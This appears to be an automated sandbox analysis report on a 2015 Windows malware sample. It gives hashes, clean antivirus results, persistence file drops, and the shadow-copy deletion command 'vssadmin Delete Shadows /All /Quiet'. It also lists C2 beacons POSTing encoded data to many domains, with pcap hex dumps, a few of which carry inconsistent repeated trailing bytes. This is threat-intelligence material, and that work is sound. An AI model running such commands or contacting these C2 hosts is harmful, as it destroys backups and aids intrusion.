Analysis Date2015-11-03 17:50:46
MD570e94f2ed65211ee0b4ee143fa6d300b
SHA1ff8bb6f7220ed3f67d23b710bffddfa3e2e46d83

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit system file
Section.text md5: 7ffa95add59ff573c27a2f61dcd53797 sha1: f9ff7e0c34d4608797ac3fafe3134e70789bf9d5 size: 72192
Section.rdata md5: a47fb3cebb51e7533c3b2e9a795e447f sha1: 28ccb050aae2e76f432e3a9fd55c8455789a9883 size: 106496
Section.data md5: 53fa7ac96eb5beef4b6995ba2084bc00 sha1: 919956f8935ff60256dc1d337408e569a23eaa5b size: 4608
Section.reda md5: eccf9e55973f5877ae54632d638e1fb8 sha1: 77bbd018c885bc90158205accc0f437f3d8dc256 size: 51200
Section.texa md5: 56cda008b1addccf91cb9072214a24d1 sha1: 34093193bdd090bbfaa45e23a884adaa1616c48b size: 4096
Sectionmern md5: 4c187f593d940aa3b7413b31d319d7ee sha1: 58412553ff7f2656895f059af08b69c609b07a84 size: 5120
Section.rsrc md5: 19013a5f47e49ecdf7ed199b353006df sha1: 6054d422ffe7dddf840d0544b7a252ee38ff1e4a size: 65536
Timestamp2015-11-03 10:08:31
Pdb pathM:\AtomicTransaction\megabytes\loo.pdb
VersionLegalCopyright: 2006-2014 � IBE Software
FileVersion: 5.8.3.4
CompanyName: IBE Software
Comments: Transitioned P Enter Aggregated Operators Hearing
ProductName: Properties Awareness
ProductVersion: 5.8.3.4
FileDescription: Transitioned P Enter Aggregated Operators Hearing
OriginalFilename: Properties Awareness
PackerMicrosoft Visual C++ ?.?
PEhash1d822c304a34c5daee69b28deb86cba8950083cf
IMPhash75e120c0b3ae2cd5fd452b1b18eb4bde
AVAd-Aware Command-LineNo Virus
AVArcaVir AntivirusNo Virus
AVAvast! AntivirusNo Virus
AVAVG AntiVirusNo Virus
AVAvira AntivirusNo Virus
AVBitdefender Command-LineNo Virus
AVBullGuard AntivirusNo Virus
AVClamWin AntivirusNo Virus
AVCommand Anti-MalwareNo Virus
AVDr. Web Anti-virusNo Virus
AVEmsisoft Command-Line ScannerNo Virus
AVeScan Anti-VirusNo Virus
AVESET NOD32 AntivirusNo Virus
AVFortinet Command-Line ScannerNo Virus
AVF-PROT AntivirusNo Virus
AVF-Secure Anti-VirusNo Virus
AVIkarus Command-Line ScannerNo Virus
AVK7 Anti-VirusNo Virus
AVKaspersky Anti-VirusNo Virus
AVMalwareBytes Anti-MalwareNo Virus
AVMcAfee Command-Line ScannerNo Virus
AVMicrosoft Security EssentialsNo Virus
AVPadvish AntivirusNo Virus
AVQuick Heal AntiVirusNo Virus
AVRising Command-Line ScannerNo Virus
AVSymantec Command-Line ScannerNo Virus
AVTotal Defense Internet Security SuiteNo Virus
AVTrend Micro System CleanerNo Virus
AVTwister AntivirusNo Virus
AVVirusBlokAda Console ScannerNo Virus
AVZillya! AntivirusNo Virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileWMIDataDevice
Creates ProcessC:\WINDOWS\explorer.exe

Process
↳ C:\WINDOWS\explorer.exe

Creates FileC:\Documents and Settings\Administrator\Start Menu\Programs\Startup\6ff06165.exe
Creates FileC:\6ff06165\6ff06165.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\6ff06165.exe
Creates Process-k netsvcs
Creates Processvssadmin.exe Delete Shadows /All /Quiet

Process
↳ -k netsvcs

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNSsuttonfarms.net
Winsock DNSmeaarts.com
Winsock DNSpromofordbekasi.com
Winsock DNSsnocmobilya.com
Winsock DNSbookstower.com
Winsock DNSrationwalaaa.com
Winsock DNSthecarnivalfest.com
Winsock DNSgrupointernex.com.br
Winsock DNSeuro-dom.de
Winsock DNSicanconsultancy.org
Winsock DNSnobilighting.com
Winsock DNStamazawatokuichiro.com
Winsock DNStravancy.com
Winsock DNSperpabaskievi.net
Winsock DNSipanema-penthouse.com
Winsock DNScurlmyip.com
Winsock DNSvlsex.net
Winsock DNSconectcon.com
Winsock DNSmyexternalip.com
Winsock DNSsafepeace.com
Winsock DNSbolle-immobilien.de
Winsock DNSsudatrain.net
Winsock DNSip-addr.es

Process
↳ vssadmin.exe Delete Shadows /All /Quiet

Creates FilePIPE\lsarpc

Network Details:

DNSip-addr.es
Type: A
188.165.164.184
DNSmyexternalip.com
Type: A
78.47.139.102
DNScurlmyip.com
Type: A
184.106.112.172
DNSmeaarts.com
Type: A
103.21.59.171
DNSperpabaskievi.net
Type: A
77.245.149.18
DNSpromofordbekasi.com
Type: A
198.23.72.4
DNSicanconsultancy.org
Type: A
111.118.215.210
DNSnobilighting.com
Type: A
112.78.2.251
DNSipanema-penthouse.com
Type: A
91.216.107.154
DNSconectcon.com
Type: A
186.202.127.240
DNSthecarnivalfest.com
Type: A
103.21.59.171
DNSbolle-immobilien.de
Type: A
213.239.234.111
DNSsudatrain.net
Type: A
185.15.244.81
DNSsuttonfarms.net
Type: A
63.135.124.25
DNSeuro-dom.de
Type: A
213.239.234.111
DNSrationwalaaa.com
Type: A
103.21.59.171
DNStravancy.com
Type: A
199.79.62.19
DNSsnocmobilya.com
Type: A
94.73.147.150
DNSgrupointernex.com.br
Type: A
192.198.195.229
HTTP GEThttp://ip-addr.es/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://myexternalip.com/raw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://curlmyip.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://meaarts.com/bMUmqv.php?n=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://perpabaskievi.net/VCOzj5.php?f=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://promofordbekasi.com/6jVb5D.php?o=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://icanconsultancy.org/nm9Eul.php?t=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://nobilighting.com/eX8yjr.php?d=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://ipanema-penthouse.com/lxUs6S.php?i=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://conectcon.com/evYR0G.php?k=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://thecarnivalfest.com/mQF14M.php?h=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://bolle-immobilien.de/Idvn79.php?a=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://sudatrain.net/De1uQF.php?j=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://suttonfarms.net/gqd1aw.php?o=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://euro-dom.de/TzmNHk.php?x=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://rationwalaaa.com/QOPYrs.php?k=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://travancy.com/8GBn_t.php?h=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://snocmobilya.com/XqDZ4I.php?s=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP POSThttp://grupointernex.com.br/4cJIAr.php?m=trw7n93litv78l
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Flows TCP192.168.1.1:1031 ➝ 188.165.164.184:80
Flows TCP192.168.1.1:1032 ➝ 78.47.139.102:80
Flows TCP192.168.1.1:1033 ➝ 184.106.112.172:80
Flows TCP192.168.1.1:1034 ➝ 103.21.59.171:80
Flows TCP192.168.1.1:1035 ➝ 77.245.149.18:80
Flows TCP192.168.1.1:1036 ➝ 198.23.72.4:80
Flows TCP192.168.1.1:1037 ➝ 111.118.215.210:80
Flows TCP192.168.1.1:1038 ➝ 112.78.2.251:80
Flows TCP192.168.1.1:1039 ➝ 91.216.107.154:80
Flows TCP192.168.1.1:1040 ➝ 186.202.127.240:80
Flows TCP192.168.1.1:1041 ➝ 103.21.59.171:80
Flows TCP192.168.1.1:1042 ➝ 213.239.234.111:80
Flows TCP192.168.1.1:1043 ➝ 185.15.244.81:80
Flows TCP192.168.1.1:1044 ➝ 63.135.124.25:80
Flows TCP192.168.1.1:1045 ➝ 213.239.234.111:80
Flows TCP192.168.1.1:1046 ➝ 103.21.59.171:80
Flows TCP192.168.1.1:1047 ➝ 199.79.62.19:80
Flows TCP192.168.1.1:1048 ➝ 94.73.147.150:80
Flows TCP192.168.1.1:1049 ➝ 192.198.195.229:80

Raw Pcap
0x00000000 (00000)   47455420 2f204854 54502f31 2e310d0a   GET / HTTP/1.1..
0x00000010 (00016)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000020 (00032)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000030 (00048)   626c653b 204d5349 4520362e 303b2057   ble; MSIE 6.0; W
0x00000040 (00064)   696e646f 7773204e 5420352e 313b2053   indows NT 5.1; S
0x00000050 (00080)   56313b20 2e4e4554 20434c52 20322e30   V1; .NET CLR 2.0
0x00000060 (00096)   2e353037 3237290d 0a486f73 743a2069   .50727)..Host: i
0x00000070 (00112)   702d6164 64722e65 730d0a43 61636865   p-addr.es..Cache
0x00000080 (00128)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000090 (00144)   68650d0a 0d0a                         he....

0x00000000 (00000)   47455420 2f726177 20485454 502f312e   GET /raw HTTP/1.
0x00000010 (00016)   310d0a55 7365722d 4167656e 743a204d   1..User-Agent: M
0x00000020 (00032)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000030 (00048)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x00000040 (00064)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x00000050 (00080)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x00000060 (00096)   322e302e 35303732 37290d0a 486f7374   2.0.50727)..Host
0x00000070 (00112)   3a206d79 65787465 726e616c 69702e63   : myexternalip.c
0x00000080 (00128)   6f6d0d0a 43616368 652d436f 6e74726f   om..Cache-Contro
0x00000090 (00144)   6c3a206e 6f2d6361 6368650d 0a0d0a     l: no-cache....

0x00000000 (00000)   47455420 2f204854 54502f31 2e310d0a   GET / HTTP/1.1..
0x00000010 (00016)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000020 (00032)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000030 (00048)   626c653b 204d5349 4520362e 303b2057   ble; MSIE 6.0; W
0x00000040 (00064)   696e646f 7773204e 5420352e 313b2053   indows NT 5.1; S
0x00000050 (00080)   56313b20 2e4e4554 20434c52 20322e30   V1; .NET CLR 2.0
0x00000060 (00096)   2e353037 3237290d 0a486f73 743a2063   .50727)..Host: c
0x00000070 (00112)   75726c6d 7969702e 636f6d0d 0a436163   urlmyip.com..Cac
0x00000080 (00128)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000090 (00144)   61636865 0d0a0d0a 6368650d 0a0d0a     ache....che....

0x00000000 (00000)   504f5354 202f624d 556d7176 2e706870   POST /bMUmqv.php
0x00000010 (00016)   3f6e3d74 7277376e 39336c69 74763738   ?n=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   206d6561 61727473 2e636f6d 0d0a4361    meaarts.com..Ca
0x00000100 (00256)   6368652d 436f6e74 726f6c3a 206e6f2d   che-Control: no-
0x00000110 (00272)   63616368 650d0a0d 0a773d34 61643337   cache....w=4ad37
0x00000120 (00288)   39396530 30633366 64333239 37366564   99e00c3fd32976ed
0x00000130 (00304)   63376537 39653163 39343763 66636431   c7e79e1c947cfcd1
0x00000140 (00320)   36383466 39376462 32353866 31306138   684f97db258f10a8
0x00000150 (00336)   65336235 63313065 65643636 32326264   e3b5c10eed6622bd
0x00000160 (00352)   31383532 30336235 32376563 36373463   185203b527ec674c
0x00000170 (00368)   30396532 37656433 39393232 66356263   09e27ed39922f5bc
0x00000180 (00384)   36663234 38                           6f248

0x00000000 (00000)   504f5354 202f5643 4f7a6a35 2e706870   POST /VCOzj5.php
0x00000010 (00016)   3f663d74 7277376e 39336c69 74763738   ?f=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20706572 70616261 736b6965 76692e6e    perpabaskievi.n
0x00000100 (00256)   65740d0a 43616368 652d436f 6e74726f   et..Cache-Contro
0x00000110 (00272)   6c3a206e 6f2d6361 6368650d 0a0d0a77   l: no-cache....w
0x00000120 (00288)   3d346164 33373939 65303063 33666433   =4ad3799e00c3fd3
0x00000130 (00304)   32393736 65646337 65373965 31633934   2976edc7e79e1c94
0x00000140 (00320)   37636663 64313638 34663937 64623235   7cfcd1684f97db25
0x00000150 (00336)   38663130 61386533 62356331 30656564   8f10a8e3b5c10eed
0x00000160 (00352)   36363232 62643138 35323033 62353237   6622bd185203b527
0x00000170 (00368)   65633637 34633039 65323765 64333939   ec674c09e27ed399
0x00000180 (00384)   32326635 62633666 323438              22f5bc6f248

0x00000000 (00000)   504f5354 202f366a 56623544 2e706870   POST /6jVb5D.php
0x00000010 (00016)   3f6f3d74 7277376e 39336c69 74763738   ?o=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   2070726f 6d6f666f 72646265 6b617369    promofordbekasi
0x00000100 (00256)   2e636f6d 0d0a4361 6368652d 436f6e74   .com..Cache-Cont
0x00000110 (00272)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000120 (00288)   0a773d34 61643337 39396530 30633366   .w=4ad3799e00c3f
0x00000130 (00304)   64333239 37366564 63376537 39653163   d32976edc7e79e1c
0x00000140 (00320)   39343763 66636431 36383466 39376462   947cfcd1684f97db
0x00000150 (00336)   32353866 31306138 65336235 63313065   258f10a8e3b5c10e
0x00000160 (00352)   65643636 32326264 31383532 30336235   ed6622bd185203b5
0x00000170 (00368)   32376563 36373463 30396532 37656433   27ec674c09e27ed3
0x00000180 (00384)   39393232 66356263 36663234 38         9922f5bc6f248

0x00000000 (00000)   504f5354 202f6e6d 3945756c 2e706870   POST /nm9Eul.php
0x00000010 (00016)   3f743d74 7277376e 39336c69 74763738   ?t=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20696361 6e636f6e 73756c74 616e6379    icanconsultancy
0x00000100 (00256)   2e6f7267 0d0a4361 6368652d 436f6e74   .org..Cache-Cont
0x00000110 (00272)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000120 (00288)   0a773d34 61643337 39396530 30633366   .w=4ad3799e00c3f
0x00000130 (00304)   64333239 37366564 63376537 39653163   d32976edc7e79e1c
0x00000140 (00320)   39343763 66636431 36383466 39376462   947cfcd1684f97db
0x00000150 (00336)   32353866 31306138 65336235 63313065   258f10a8e3b5c10e
0x00000160 (00352)   65643636 32326264 31383532 30336235   ed6622bd185203b5
0x00000170 (00368)   32376563 36373463 30396532 37656433   27ec674c09e27ed3
0x00000180 (00384)   39393232 66356263 36663234 38         9922f5bc6f248

0x00000000 (00000)   504f5354 202f6558 38796a72 2e706870   POST /eX8yjr.php
0x00000010 (00016)   3f643d74 7277376e 39336c69 74763738   ?d=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   206e6f62 696c6967 6874696e 672e636f    nobilighting.co
0x00000100 (00256)   6d0d0a43 61636865 2d436f6e 74726f6c   m..Cache-Control
0x00000110 (00272)   3a206e6f 2d636163 68650d0a 0d0a773d   : no-cache....w=
0x00000120 (00288)   34616433 37393965 30306333 66643332   4ad3799e00c3fd32
0x00000130 (00304)   39373665 64633765 37396531 63393437   976edc7e79e1c947
0x00000140 (00320)   63666364 31363834 66393764 62323538   cfcd1684f97db258
0x00000150 (00336)   66313061 38653362 35633130 65656436   f10a8e3b5c10eed6
0x00000160 (00352)   36323262 64313835 32303362 35323765   622bd185203b527e
0x00000170 (00368)   63363734 63303965 32376564 33393932   c674c09e27ed3992
0x00000180 (00384)   32663562 63366632 34383234 38         2f5bc6f248248

0x00000000 (00000)   504f5354 202f6c78 55733653 2e706870   POST /lxUs6S.php
0x00000010 (00016)   3f693d74 7277376e 39336c69 74763738   ?i=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20697061 6e656d61 2d70656e 74686f75    ipanema-penthou
0x00000100 (00256)   73652e63 6f6d0d0a 43616368 652d436f   se.com..Cache-Co
0x00000110 (00272)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000120 (00288)   0a0d0a77 3d346164 33373939 65303063   ...w=4ad3799e00c
0x00000130 (00304)   33666433 32393736 65646337 65373965   3fd32976edc7e79e
0x00000140 (00320)   31633934 37636663 64313638 34663937   1c947cfcd1684f97
0x00000150 (00336)   64623235 38663130 61386533 62356331   db258f10a8e3b5c1
0x00000160 (00352)   30656564 36363232 62643138 35323033   0eed6622bd185203
0x00000170 (00368)   62353237 65633637 34633039 65323765   b527ec674c09e27e
0x00000180 (00384)   64333939 32326635 62633666 323438     d39922f5bc6f248

0x00000000 (00000)   504f5354 202f6576 59523047 2e706870   POST /evYR0G.php
0x00000010 (00016)   3f6b3d74 7277376e 39336c69 74763738   ?k=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20636f6e 65637463 6f6e2e63 6f6d0d0a    conectcon.com..
0x00000100 (00256)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000110 (00272)   6f2d6361 6368650d 0a0d0a77 3d346164   o-cache....w=4ad
0x00000120 (00288)   33373939 65303063 33666433 32393736   3799e00c3fd32976
0x00000130 (00304)   65646337 65373965 31633934 37636663   edc7e79e1c947cfc
0x00000140 (00320)   64313638 34663937 64623235 38663130   d1684f97db258f10
0x00000150 (00336)   61386533 62356331 30656564 36363232   a8e3b5c10eed6622
0x00000160 (00352)   62643138 35323033 62353237 65633637   bd185203b527ec67
0x00000170 (00368)   34633039 65323765 64333939 32326635   4c09e27ed39922f5
0x00000180 (00384)   62633666 32343835 62633666 323438     bc6f2485bc6f248

0x00000000 (00000)   504f5354 202f6d51 4631344d 2e706870   POST /mQF14M.php
0x00000010 (00016)   3f683d74 7277376e 39336c69 74763738   ?h=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20746865 6361726e 6976616c 66657374    thecarnivalfest
0x00000100 (00256)   2e636f6d 0d0a4361 6368652d 436f6e74   .com..Cache-Cont
